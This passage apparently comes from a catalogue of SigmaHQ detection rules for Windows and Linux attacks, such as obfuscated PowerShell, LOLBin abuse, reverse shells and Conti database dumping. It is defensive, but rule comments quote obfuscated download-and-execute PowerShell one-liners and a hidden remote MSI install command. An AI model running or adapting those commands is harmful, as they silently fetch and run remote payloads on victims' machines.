        # Example 1: C:\WINdoWS\sySteM32\CMd /c " ECho\Invoke-Expression (New-Object Net.WebClient).DownloadString|Clip.Exe&&C:\WINdoWS\sySteM32\CMd /c pOWerSheLl -STa . ( \"{2}{0}{1}\"-f'dd-',(\"{0}{1}\" -f 'T','ype' ),'A' ) -Assembly ( \"{4}{1}{3}{0}{2}\"-f (\"{0}{1}\" -f 'nd','ow'),( \"{1}{0}\"-f'.W','stem' ),( \"{2}{1}{0}\" -f 'rms','Fo','s.'),'i','Sy') ; ${exeCUtIOnCONTeXT}.\"INV`oKECOM`m`ANd\".\"INV`ok`ESCriPT\"( ( [sYSteM.wiNDoWS.forMs.ClIPboaRD]::( \"{2}{0}{1}\" -f'Ex','t',(\"{0}{1}\" -f'Get','t' ) ).\"iNvo`Ke\"( )) ) ; [System.Windows.Forms.Clipboard]::(\"{1}{0}\" -f 'ar','Cle' ).\"in`V`oKE\"( )"
        # Example 2: C:\WINDowS\sYsTEM32\CmD.eXE /C" echo\Invoke-Expression (New-Object Net.WebClient).DownloadString| C:\WIndOWs\SYSteM32\CLip &&C:\WINDowS\sYsTEM32\CmD.eXE /C POWERSHeLL -sT -noL [Void][System.Reflection.Assembly]::( \"{0}{3}{4}{1}{2}\" -f( \"{0}{1}\"-f'Lo','adW' ),( \"{0}{1}\"-f 'Par','t'),( \"{0}{1}{2}\"-f 'ial','N','ame'),'it','h' ).\"in`VO`KE\"( ( \"{3}{1}{4}{5}{2}{0}\"-f'rms','ystem.Windo','Fo','S','w','s.' )) ; ( [wIndows.fOrms.cLIPBOArD]::( \"{1}{0}\"-f'T',( \"{1}{0}\" -f'tEX','gET' )).\"i`Nvoke\"( ) ) ^^^| ^^^& ( ( ^^^& ( \"{2}{1}{0}\"-f 'e',( \"{2}{1}{0}\"-f'IABl','aR','v' ),( \"{0}{1}\"-f'Get','-' ) ) ( \"{1}{0}\"-f'*','*MDr' )).\"n`Ame\"[3,11,2]-jOin'') ; [Windows.Forms.Clipboard]::( \"{0}{1}\" -f (\"{1}{0}\"-f'tT','Se' ),'ext').\"in`VoKe\"(' ' )"
        CommandLine|re: '(?i)echo.*clip.*&&.*(?:Clipboard|i`?n`?v`?o`?k`?e`?)'
    condition: selection
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    CommandLine|re: '(?i)echo.*clip.*&&.*(?:Clipboard|i`?n`?v`?o`?k`?e`?)'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLineregex_match
  • (?i)echo.*clip.*&&.*(?:Clipboard|i`?n`?v`?o`?k`?e`?)
field:"CommandLine" kind:regex_match value:"(?i)echo.*clip.*&&.*(?:Clipboard|i`?n`?v`?o`?k`?e`?)"

Lolbin Runexehelper Use As Proxy

#
Status
test
Severity
medium
Author
frack113
Source
github.com/SigmaHQ/sigma

Detect usage of the "runexehelper.exe" binary as a proxy to launch other programs

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Lolbin Runexehelper Use As Proxy
id: cd71385d-fd9b-4691-9b98-2b1f7e508714
status: test
description: Detect usage of the "runexehelper.exe" binary as a proxy to launch other programs
references:
    - https://twitter.com/0gtweet/status/1206692239839289344
    - https://lolbas-project.github.io/lolbas/Binaries/Runexehelper/
author: frack113
date: 2022-12-29
tags:
    - attack.stealth
    - attack.t1218
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\runexehelper.exe'
    condition: selection
falsepositives:
    - Unknown
level: medium

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    ParentImage|endswith: '\runexehelper.exe'

Indicators

These rows show field, operator, and value matches.

Obfuscated PowerShell MSI Install via WindowsInstaller COM

#
Status
experimental
Severity
high
Author
Meroujan Antonyan (vx3r)
Source
github.com/SigmaHQ/sigma

Detects the execution of obfuscated PowerShell commands that attempt to install MSI packages via the Windows Installer COM object (WindowsInstaller.Installer). The technique involves manipulating strings to hide functionality, such as constructing class names using string insertion (e.g., 'indowsInstaller.Installer'.Insert(0,'W')) and correcting malformed URLs (e.g., converting 'htps://' to 'https://') at runtime. This behavior is commonly associated with malware loaders or droppers that aim to bypass static detection by hiding intent in runtime-generated strings and using legitimate tools for code execution. The use of InstallProduct and COM object creation, particularly combined with hidden window execution and suppressed UI, indicates an attempt to install software (likely malicious) without user interaction.

MITRE ATT&CK Coverage

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 1: Process creation

Rule Body

title: Obfuscated PowerShell MSI Install via WindowsInstaller COM
id: 7b6a7418-3afc-11f0-aff4-000d3abf478c
status: experimental
description: |
    Detects the execution of obfuscated PowerShell commands that attempt to install MSI packages via the Windows Installer COM object (`WindowsInstaller.Installer`).
    The technique involves manipulating strings to hide functionality, such as constructing class names using string insertion (e.g., 'indowsInstaller.Installer'.Insert(0,'W')) and correcting
    malformed URLs (e.g., converting 'htps://' to 'https://') at runtime. This behavior is commonly associated with malware loaders or droppers that aim to bypass static detection
    by hiding intent in runtime-generated strings and using legitimate tools for code execution. The use of `InstallProduct` and COM object creation, particularly combined with
    hidden window execution and suppressed UI, indicates an attempt to install software (likely malicious) without user interaction.
references:
    - https://informationsecuritybuzz.com/the-real-danger-behind-a-simple-windows-shortcut/
    - https://redcanary.com/blog/threat-intelligence/intelligence-insights-may-2025/
    - https://www.virustotal.com/gui/file/f9710b0ba4de5fa0e7ec27da462d4d2fc6838eba83a19f23f6617a466bbad457
author: Meroujan Antonyan (vx3r)
date: 2025-05-27
tags:
    - attack.stealth
    - attack.t1027.010
    - attack.t1218.007
    - attack.execution
    - attack.t1059.001
logsource:
    category: process_creation
    product: windows
detection:
    # Example: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -W Hidden -C "$u='htps://example.com/';$i=New-Object -ComObject('indowsInstaller.Installer'.Insert(0,'W'));$i.UILevel=2;$i.InstallProduct($(if($u.StartsWith('htps://')){$u.Insert(2,'t')}else{$u}),'')";
    selection_img:
        - Image|endswith:
              - '\powershell_ise.exe'
              - '\powershell.exe'
              - '\pwsh.exe'
        - OriginalFileName:
              - 'PowerShell_ISE.EXE'
              - 'PowerShell.EXE'
              - 'pwsh.dll'
    selection_cli:
        CommandLine|contains|all:
            - '-ComObject'
            - 'InstallProduct('
            - '.Insert('
            - 'UILevel'
    condition: all of selection_*
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

all of selection_*

Stage 1: selection_img

selection_img:
    - Image|endswith:
          - '\powershell_ise.exe'
          - '\powershell.exe'
          - '\pwsh.exe'
    - OriginalFileName:
          - 'PowerShell_ISE.EXE'
          - 'PowerShell.EXE'
          - 'pwsh.dll'

Stage 2: selection_cli

selection_cli:
    CommandLine|contains|all:
        - '-ComObject'
        - 'InstallProduct('
        - '.Insert('
        - 'UILevel'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • -ComObject corpus 2 (sigma 2)
  • .Insert(
  • InstallProduct( corpus 2 (sigma 2)
  • UILevel
field:"CommandLine" kind:match
Imageends_with
  • \powershell.exe corpus 181 (sigma 180, splunk 1)
  • \powershell_ise.exe corpus 41 (sigma 41)
  • \pwsh.exe corpus 166 (sigma 166)
field:"Image" kind:ends_with
OriginalFileNameeq
  • PowerShell.EXE corpus 134 (sigma 86, splunk 30, elastic 18)
  • PowerShell_ISE.EXE corpus 52 (splunk 30, sigma 18, elastic 4)
  • pwsh.dll corpus 115 (sigma 81, splunk 30, elastic 4)
field:"OriginalFileName" kind:eq

Office Application Initiated Network Connection Over Uncommon Ports

#
Status
test
Severity
medium
Author
X__Junior (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects an office suit application (Word, Excel, PowerPoint, Outlook) communicating to target systems over uncommon ports.

Known False Positives

  • Other ports can be used, apply additional filters accordingly

MITRE ATT&CK Coverage

TacticTechniques
StealthNo specific technique
Command & ControlNo specific technique

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 3: Network connection

Rule Body

title: Office Application Initiated Network Connection Over Uncommon Ports
id: 3b5ba899-9842-4bc2-acc2-12308498bf42
status: test
description: Detects an office suit application (Word, Excel, PowerPoint, Outlook) communicating to target systems over uncommon ports.
references:
    - https://blogs.blackberry.com/en/2023/07/romcom-targets-ukraine-nato-membership-talks-at-nato-summit
author: X__Junior (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)
date: 2023-07-12
modified: 2025-10-17
tags:
    - attack.command-and-control
    - attack.stealth
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        Initiated: 'true'
        Image|endswith:
            - '\excel.exe'
            - '\outlook.exe'
            - '\powerpnt.exe'
            - '\winword.exe'
            - '\wordview.exe'
    filter_main_common_ports:
        DestinationPort:
            - 53 # DNS
            - 80 # HTTP
            - 139 # NETBIOS
            - 389 # LDAP
            - 443 # HTTPS
            - 445 # SMB
            - 3268 # MSFT-GC
    filter_main_outlook_ports:
        Image|contains: ':\Program Files\Microsoft Office\'
        Image|endswith: '\OUTLOOK.EXE'
        DestinationPort:
            - 143
            - 465 # SMTP
            - 587 # SMTP
            - 993 # IMAP
            - 995 # POP3
    condition: selection and not 1 of filter_main_*
falsepositives:
    - Other ports can be used, apply additional filters accordingly
level: medium

Stages and Predicates

Stage 0: condition

selection and not 1 of filter_main_*

Stage 1: selection

selection:
    Initiated: 'true'
    Image|endswith:
        - '\excel.exe'
        - '\outlook.exe'
        - '\powerpnt.exe'
        - '\winword.exe'
        - '\wordview.exe'

Stage 2: not filter_main_*

filter_main_common_ports:
    DestinationPort:
        - 53
        - 80
        - 139
        - 389
        - 443
        - 445
        - 3268
filter_main_outlook_ports:
    Image|contains: ':\Program Files\Microsoft Office\'
    Image|endswith: '\OUTLOOK.EXE'
    DestinationPort:
        - 143
        - 465
        - 587
        - 993
        - 995

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
Imageends_with
  • \excel.exe corpus 16 (sigma 16)
  • \outlook.exe corpus 13 (sigma 13)
  • \powerpnt.exe corpus 14 (sigma 14)
  • \winword.exe corpus 17 (sigma 17)
  • \wordview.exe corpus 6 (sigma 6)
field:"Image" kind:ends_with
Initiatedeq
  • true corpus 50 (sigma 50)
field:"Initiated" kind:eq value:"true"

Exclusions

The rule actively suppresses these predicates.

Potential Arbitrary File Download Via Cmdl32.EXE

#
Status
test
Severity
medium
Author
frack113
Source
github.com/SigmaHQ/sigma

Detects execution of Cmdl32 with the "/vpn" and "/lan" flags. Attackers can abuse this utility in order to download arbitrary files via a configuration file. Inspect the location and the content of the file passed as an argument in order to determine if it is suspicious.

MITRE ATT&CK Coverage

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 1: Process creation

Rule Body

title: Potential Arbitrary File Download Via Cmdl32.EXE
id: f37aba28-a9e6-4045-882c-d5004043b337
status: test
description: |
    Detects execution of Cmdl32 with the "/vpn" and "/lan" flags.
    Attackers can abuse this utility in order to download arbitrary files via a configuration file.
    Inspect the location and the content of the file passed as an argument in order to determine if it is suspicious.
references:
    - https://lolbas-project.github.io/lolbas/Binaries/Cmdl32/
    - https://twitter.com/SwiftOnSecurity/status/1455897435063074824
    - https://github.com/LOLBAS-Project/LOLBAS/pull/151
author: frack113
date: 2021-11-03
modified: 2024-04-22
tags:
    - attack.execution
    - attack.stealth
    - attack.t1218
    - attack.t1202
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith: '\cmdl32.exe'
        - OriginalFileName: CMDL32.EXE
    selection_cli:
        CommandLine|contains|all:
            - '/vpn'
            - '/lan'
    condition: all of selection_*
falsepositives:
    - Unknown
level: medium

Stages and Predicates

Stage 0: condition

all of selection_*

Stage 1: selection_img

selection_img:
    - Image|endswith: '\cmdl32.exe'
    - OriginalFileName: CMDL32.EXE

Stage 2: selection_cli

selection_cli:
    CommandLine|contains|all:
        - '/vpn'
        - '/lan'

Indicators

These rows show field, operator, and value matches.

Potential Conti Ransomware Database Dumping Activity Via SQLCmd

#
Status
test
Severity
high
Author
frack113
Source
github.com/SigmaHQ/sigma

Detects a command used by conti to dump database

MITRE ATT&CK Coverage

TacticTechniques
Collection

Telemetry Coverage

Rule Body

title: Potential Conti Ransomware Database Dumping Activity Via SQLCmd
id: 2f47f1fd-0901-466e-a770-3b7092834a1b
status: test
description: Detects a command used by conti to dump database
references:
    - https://twitter.com/vxunderground/status/1423336151860002816?s=20 # The leak info not the files itself
    - https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection
    - https://docs.microsoft.com/en-us/sql/tools/sqlcmd-utility?view=sql-server-ver15
author: frack113
date: 2021-08-16
modified: 2023-05-04
tags:
    - attack.collection
    - attack.t1005
    - detection.emerging-threats
logsource:
    category: process_creation
    product: windows
detection:
    selection_tools:
        - Image|endswith: '\sqlcmd.exe'
        - CommandLine|contains:
              - 'sqlcmd '
              - 'sqlcmd.exe'
    selection_svr:
        CommandLine|contains: ' -S localhost '
    selection_query:
        CommandLine|contains:
            - 'sys.sysprocesses'
            - 'master.dbo.sysdatabases'
            - 'BACKUP DATABASE'
    condition: all of selection_*
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

all of selection_*

Stage 1: selection_tools

selection_tools:
    - Image|endswith: '\sqlcmd.exe'
    - CommandLine|contains:
          - 'sqlcmd '
          - 'sqlcmd.exe'

Stage 2: selection_svr

selection_svr:
    CommandLine|contains: ' -S localhost '

Stage 3: selection_query

selection_query:
    CommandLine|contains:
        - 'sys.sysprocesses'
        - 'master.dbo.sysdatabases'
        - 'BACKUP DATABASE'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • -S localhost
  • BACKUP DATABASE
  • master.dbo.sysdatabases
  • sqlcmd
  • sqlcmd.exe
  • sys.sysprocesses
field:"CommandLine" kind:match
Imageends_with
  • \sqlcmd.exe corpus 5 (sigma 5)
field:"Image" kind:ends_with value:"\sqlcmd.exe"

Potential Cookies Session Hijacking

#

Potential CSharp Streamer RAT Loading .NET Executable Image

#
Status
test
Severity
high
Author
Luca Di Bartolomeo
Source
github.com/SigmaHQ/sigma

Detects potential CSharp Streamer RAT loading .NET executable image by using the default file name and path associated with the tool.

MITRE ATT&CK Coverage

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 7: Image loaded

Rule Body

title: Potential CSharp Streamer RAT Loading .NET Executable Image
id: 6f6afac3-8e7a-4e4b-9588-2608ffe08f82
status: test
description: |
    Detects potential CSharp Streamer RAT loading .NET executable image by using the default file name and path associated with the tool.
references:
    - https://thedfirreport.com/2024/06/10/icedid-brings-screenconnect-and-csharp-streamer-to-alphv-ransomware-deployment/#detections
    - https://cyber.wtf/2023/12/06/the-csharp-streamer-rat/
author: Luca Di Bartolomeo
date: 2024-06-22
tags:
    - attack.command-and-control
    - attack.t1219.002
    - detection.emerging-threats
logsource:
    category: image_load
    product: windows
detection:
    selection:
        ImageLoaded|re: '\\AppData\\Local\\Temp\\dat[0-9A-Z]{4}\.tmp'
    condition: selection
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    ImageLoaded|re: '\\AppData\\Local\\Temp\\dat[0-9A-Z]{4}\.tmp'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
ImageLoadedregex_match
  • \AppData\Local\Temp\dat[0-9A-Z]{4}.tmp
field:"ImageLoaded" kind:regex_match value:"\AppData\Local\Temp\dat[0-9A-Z]{4}.tmp"

Potential Exploitation of CVE-2024-3094 - Suspicious SSH Child Process

#
Status
test
Severity
high
Author
Arnim Rupp, Nasreddine Bencherchali, Thomas Patzke
Source
github.com/SigmaHQ/sigma

Detects potentially suspicious child process of SSH process (sshd) with a specific execution user. This could be a sign of potential exploitation of CVE-2024-3094.

Known False Positives

  • Administrative activity directly with root authentication might trigger this rule if it's unnecessarily prefixed with "sh -c" or "bash -c"

MITRE ATT&CK Coverage

TacticTechniques
ExecutionNo specific technique

Telemetry Coverage

PlatformRecord / event type
LinuxEvent ID 1: Process Create

Rule Body

title: Potential Exploitation of CVE-2024-3094 - Suspicious SSH Child Process
id: 9aa27839-e8ba-4d7a-ac1a-746c22c3d1e5
status: test
description: |
    Detects potentially suspicious child process of SSH process (sshd) with a specific execution user. This could be a sign of potential exploitation of CVE-2024-3094.
references:
    - https://github.com/amlweems/xzbot?tab=readme-ov-file#backdoor-demo
author: Arnim Rupp, Nasreddine Bencherchali, Thomas Patzke
date: 2024-04-01
modified: 2024-07-03
tags:
    - attack.execution
    - cve.2024-3094
    - detection.emerging-threats
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        ParentImage|endswith: '/sshd'
        CommandLine|startswith:
            - 'bash -c'
            - 'sh -c'
        User: 'root'
    condition: selection
falsepositives:
    - Administrative activity directly with root authentication might trigger this rule if it's unnecessarily prefixed with "sh -c" or "bash -c"
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    ParentImage|endswith: '/sshd'
    CommandLine|startswith:
        - 'bash -c'
        - 'sh -c'
    User: 'root'

Indicators

These rows show field, operator, and value matches.

Potential Powershell ReverseShell Connection

#
Status
stable
Severity
high
Author
FPT.EagleEye, wagga, Nasreddine Bencherchali (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects usage of the "TcpClient" class. Which can be abused to establish remote connections and reverse-shells. As seen used by the Nishang "Invoke-PowerShellTcpOneLine" reverse shell and other.

Known False Positives

  • In rare administrative cases, this function might be used to check network connectivity

MITRE ATT&CK Coverage

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 1: Process creation

Rule Body

title: Potential Powershell ReverseShell Connection
id: edc2f8ae-2412-4dfd-b9d5-0c57727e70be
status: stable
description: Detects usage of the "TcpClient" class. Which can be abused to establish remote connections and reverse-shells. As seen used by the Nishang "Invoke-PowerShellTcpOneLine" reverse shell and other.
references:
    - https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/
    - https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/
    - https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaeee196d91ae447283e/Shells/Invoke-PowerShellTcpOneLine.ps1
author: FPT.EagleEye, wagga, Nasreddine Bencherchali (Nextron Systems)
date: 2021-03-03
modified: 2023-04-05
tags:
    - attack.execution
    - attack.t1059.001
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - OriginalFileName:
              - 'PowerShell.EXE'
              - 'pwsh.dll'
        - Image|endswith:
              - '\powershell.exe'
              - '\pwsh.exe'
    selection_cli:
        CommandLine|contains|all:
            - ' Net.Sockets.TCPClient'
            - '.GetStream('
            - '.Write('
    condition: all of selection_*
falsepositives:
    - In rare administrative cases, this function might be used to check network connectivity
level: high

Stages and Predicates

Stage 0: condition

all of selection_*

Stage 1: selection_img

selection_img:
    - OriginalFileName:
          - 'PowerShell.EXE'
          - 'pwsh.dll'
    - Image|endswith:
          - '\powershell.exe'
          - '\pwsh.exe'

Stage 2: selection_cli

selection_cli:
    CommandLine|contains|all:
        - ' Net.Sockets.TCPClient'
        - '.GetStream('
        - '.Write('

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • Net.Sockets.TCPClient
  • .GetStream(
  • .Write(
field:"CommandLine" kind:match
Imageends_with
  • \powershell.exe corpus 181 (sigma 180, splunk 1)
  • \pwsh.exe corpus 166 (sigma 166)
field:"Image" kind:ends_with
OriginalFileNameeq
  • PowerShell.EXE corpus 134 (sigma 86, splunk 30, elastic 18)
  • pwsh.dll corpus 115 (sigma 81, splunk 30, elastic 4)
field:"OriginalFileName" kind:eq

Potential Secure Deletion with SDelete

#
Status
test
Severity
medium
Author
Thomas Patzke
Source
github.com/SigmaHQ/sigma

Detects files that have extensions commonly seen while SDelete is used to wipe files.

Known False Positives

  • Legitimate usage of SDelete
  • Files that are interacted with that have these extensions legitimately

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Potential Secure Deletion with SDelete
id: 39a80702-d7ca-4a83-b776-525b1f86a36d
status: test
description: Detects files that have extensions commonly seen while SDelete is used to wipe files.
references:
    - https://jpcertcc.github.io/ToolAnalysisResultSheet/details/sdelete.htm
    - https://www.jpcert.or.jp/english/pub/sr/ir_research.html
    - https://learn.microsoft.com/en-gb/sysinternals/downloads/sdelete
author: Thomas Patzke
date: 2017-06-14
modified: 2024-12-13
tags:
    - attack.impact
    - attack.stealth
    - attack.defense-impairment
    - attack.t1070.004
    - attack.t1027.005
    - attack.t1485
    - attack.t1553.002
    - attack.s0195
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID:
            - 4656
            - 4663
            - 4658
        ObjectName|endswith:
            - '.AAA'
            - '.ZZZ'
    condition: selection
falsepositives:
    - Legitimate usage of SDelete
    - Files that are interacted with that have these extensions legitimately
level: medium

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    EventID:
        - 4656
        - 4663
        - 4658
    ObjectName|endswith:
        - '.AAA'
        - '.ZZZ'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
ObjectNameends_with
  • .AAA
  • .ZZZ
field:"ObjectName" kind:ends_with

Potentially Suspicious PowerShell Child Processes

#
Status
test
Severity
medium
Author
Florian Roth (Nextron Systems), Tim Shelton
Source
github.com/SigmaHQ/sigma

Detects potentially suspicious child processes spawned by PowerShell. Use this rule to hunt for potential anomalies initiating from PowerShell scripts and commands.

Known False Positives

  • False positives are to be expected from PowerShell scripts that might make use of additional binaries such as "mshta", "bitsadmin", etc. Apply additional filters for those scripts.

MITRE ATT&CK Coverage

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 1: Process creation

Rule Body

title: Potentially Suspicious PowerShell Child Processes
id: e4b6d2a7-d8a4-4f19-acbd-943c16d90647
status: test
description: |
    Detects potentially suspicious child processes spawned by PowerShell.
    Use this rule to hunt for potential anomalies initiating from PowerShell scripts and commands.
references:
    - https://twitter.com/ankit_anubhav/status/1518835408502620162
author: Florian Roth (Nextron Systems), Tim Shelton
date: 2022-04-26
modified: 2024-07-16
tags:
    - attack.execution
    - attack.t1059.001
    - detection.threat-hunting
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith:
            - '\powershell_ise.exe'
            - '\powershell.exe'
            - '\pwsh.exe'
        Image|endswith:
            - '\bash.exe'
            - '\bitsadmin.exe'
            - '\certutil.exe'
            - '\cscript.exe'
            - '\forfiles.exe'
            - '\hh.exe'
            - '\mshta.exe'
            - '\regsvr32.exe'
            - '\rundll32.exe'
            - '\schtasks.exe'
            - '\scrcons.exe'
            - '\scriptrunner.exe'
            - '\sh.exe'
            - '\wmic.exe'
            - '\wscript.exe'
    filter_optional_amazon:
        ParentCommandLine|contains: '\Program Files\Amazon\WorkspacesConfig\Scripts\'  # AWS Workspaces
        CommandLine|contains: '\Program Files\Amazon\WorkspacesConfig\Scripts\'  # AWS Workspaces
    filter_main_certutil_verify_store:
        Image|endswith: '\certutil.exe'
        CommandLine|contains: '-verifystore '
    filter_main_wmic:
        Image|endswith: '\wmic.exe'
        CommandLine|contains:
            - 'qfe list'
            - 'diskdrive '
            - 'csproduct '
            - 'computersystem '
            - ' os '
            - ''
    condition: selection and not 1 of filter_main_* and not 1 of filter_optional_*
falsepositives:
    - False positives are to be expected from PowerShell scripts that might make use of additional binaries such as "mshta", "bitsadmin", etc. Apply additional filters for those scripts.
level: medium
regression_tests_path: regression_data/rules-threat-hunting/windows/process_creation/proc_creation_win_powershell_susp_child_processes/info.yml

Stages and Predicates

Stage 0: condition

selection and not 1 of filter_main_* and not 1 of filter_optional_*

Stage 1: selection

selection:
    ParentImage|endswith:
        - '\powershell_ise.exe'
        - '\powershell.exe'
        - '\pwsh.exe'
    Image|endswith:
        - '\bash.exe'
        - '\bitsadmin.exe'
        - '\certutil.exe'
        - '\cscript.exe'
        - '\forfiles.exe'
        - '\hh.exe'
        - '\mshta.exe'
        - '\regsvr32.exe'
        - '\rundll32.exe'
        - '\schtasks.exe'
        - '\scrcons.exe'
        - '\scriptrunner.exe'
        - '\sh.exe'
        - '\wmic.exe'
        - '\wscript.exe'

Stage 2: not filter_main_*

filter_main_certutil_verify_store:
    Image|endswith: '\certutil.exe'
    CommandLine|contains: '-verifystore '
filter_main_wmic:
    Image|endswith: '\wmic.exe'
    CommandLine|contains:
        - 'qfe list'
        - 'diskdrive '
        - 'csproduct '
        - 'computersystem '
        - ' os '
        - ''

Stage 3: not filter_optional_amazon

filter_optional_amazon:
    ParentCommandLine|contains: '\Program Files\Amazon\WorkspacesConfig\Scripts\'
    CommandLine|contains: '\Program Files\Amazon\WorkspacesConfig\Scripts\'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
Imageends_with
  • \bash.exe corpus 21 (sigma 21)
  • \bitsadmin.exe corpus 29 (sigma 29)
  • \certutil.exe corpus 43 (sigma 43)
  • \cscript.exe corpus 72 (sigma 72)
  • \forfiles.exe corpus 11 (sigma 11)
  • \hh.exe corpus 15 (sigma 15)
  • \mshta.exe corpus 67 (sigma 66, splunk 1)
  • \regsvr32.exe corpus 64 (sigma 64)
  • \rundll32.exe corpus 94 (sigma 94)
  • \schtasks.exe corpus 55 (sigma 55)
  • \scrcons.exe corpus 9 (sigma 9)
  • \scriptrunner.exe corpus 12 (sigma 12)
  • \sh.exe corpus 16 (sigma 16)
  • \wmic.exe corpus 62 (sigma 62)
  • \wscript.exe corpus 74 (sigma 74)
field:"Image" kind:ends_with
ParentImageends_with
  • \powershell.exe corpus 24 (sigma 24)
  • \powershell_ise.exe corpus 3 (sigma 3)
  • \pwsh.exe corpus 21 (sigma 21)
field:"ParentImage" kind:ends_with

Exclusions

The rule actively suppresses these predicates.

Potentially Suspicious Regsvr32 HTTP IP Pattern

#
Status
test
Severity
high
Author
Florian Roth (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects regsvr32 execution to download and install DLLs located remotely where the address is an IP address.

Known False Positives

  • FQDNs that start with a number such as "7-Zip"

MITRE ATT&CK Coverage

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 1: Process creation

Rule Body

title: Potentially Suspicious Regsvr32 HTTP IP Pattern
id: 2dd2c217-bf68-437a-b57c-fe9fd01d5de8
status: test
description: Detects regsvr32 execution to download and install DLLs located remotely where the address is an IP address.
references:
    - https://twitter.com/mrd0x/status/1461041276514623491
    - https://twitter.com/tccontre18/status/1480950986650832903
    - https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/
author: Florian Roth (Nextron Systems)
date: 2022-01-11
modified: 2023-05-24
tags:
    - attack.stealth
    - attack.t1218.010
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith: '\regsvr32.exe'
        - OriginalFileName: 'REGSVR32.EXE'
    selection_ip:
        CommandLine|contains:
            - ' /i:http://1'
            - ' /i:http://2'
            - ' /i:http://3'
            - ' /i:http://4'
            - ' /i:http://5'
            - ' /i:http://6'
            - ' /i:http://7'
            - ' /i:http://8'
            - ' /i:http://9'
            - ' /i:https://1'
            - ' /i:https://2'
            - ' /i:https://3'
            - ' /i:https://4'
            - ' /i:https://5'
            - ' /i:https://6'
            - ' /i:https://7'
            - ' /i:https://8'
            - ' /i:https://9'
            - ' -i:http://1'
            - ' -i:http://2'
            - ' -i:http://3'
            - ' -i:http://4'
            - ' -i:http://5'
            - ' -i:http://6'
            - ' -i:http://7'
            - ' -i:http://8'
            - ' -i:http://9'
            - ' -i:https://1'
            - ' -i:https://2'
            - ' -i:https://3'
            - ' -i:https://4'
            - ' -i:https://5'
            - ' -i:https://6'
            - ' -i:https://7'
            - ' -i:https://8'
            - ' -i:https://9'
    condition: all of selection_*
falsepositives:
    - FQDNs that start with a number such as "7-Zip"
level: high

Stages and Predicates

Stage 0: condition

all of selection_*

Stage 1: selection_img

selection_img:
    - Image|endswith: '\regsvr32.exe'
    - OriginalFileName: 'REGSVR32.EXE'

Stage 2: selection_ip

selection_ip:
    CommandLine|contains:
        - ' /i:http://1'
        - ' /i:http://2'
        - ' /i:http://3'
        - ' /i:http://4'
        - ' /i:http://5'
        - ' /i:http://6'
        - ' /i:http://7'
        - ' /i:http://8'
        - ' /i:http://9'
        - ' /i:https://1'
        - ' /i:https://2'
        - ' /i:https://3'
        - ' /i:https://4'
        - ' /i:https://5'
        - ' /i:https://6'
        - ' /i:https://7'
        - ' /i:https://8'
        - ' /i:https://9'
        - ' -i:http://1'
        - ' -i:http://2'
        - ' -i:http://3'
        - ' -i:http://4'
        - ' -i:http://5'
        - ' -i:http://6'
        - ' -i:http://7'
        - ' -i:http://8'
        - ' -i:http://9'
        - ' -i:https://1'
        - ' -i:https://2'
        - ' -i:https://3'
        - ' -i:https://4'
        - ' -i:https://5'
        - ' -i:https://6'
        - ' -i:https://7'
        - ' -i:https://8'
        - ' -i:https://9'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • -i:http://1
  • -i:http://2
  • -i:http://3
  • -i:http://4
  • -i:http://5
  • -i:http://6
  • -i:http://7
  • -i:http://8
  • -i:http://9
  • -i:https://1
  • -i:https://2
  • -i:https://3
  • -i:https://4
  • -i:https://5
  • -i:https://6
  • -i:https://7
  • -i:https://8
  • -i:https://9
  • /i:http://1
  • /i:http://2
  • /i:http://3
  • /i:http://4
  • /i:http://5
  • /i:http://6
  • /i:http://7
  • /i:http://8
  • /i:http://9
  • /i:https://1
  • /i:https://2
  • /i:https://3
  • /i:https://4
  • /i:https://5
  • /i:https://6
  • /i:https://7
  • /i:https://8
  • /i:https://9
field:"CommandLine" kind:match
Imageends_with
  • \regsvr32.exe corpus 64 (sigma 64)
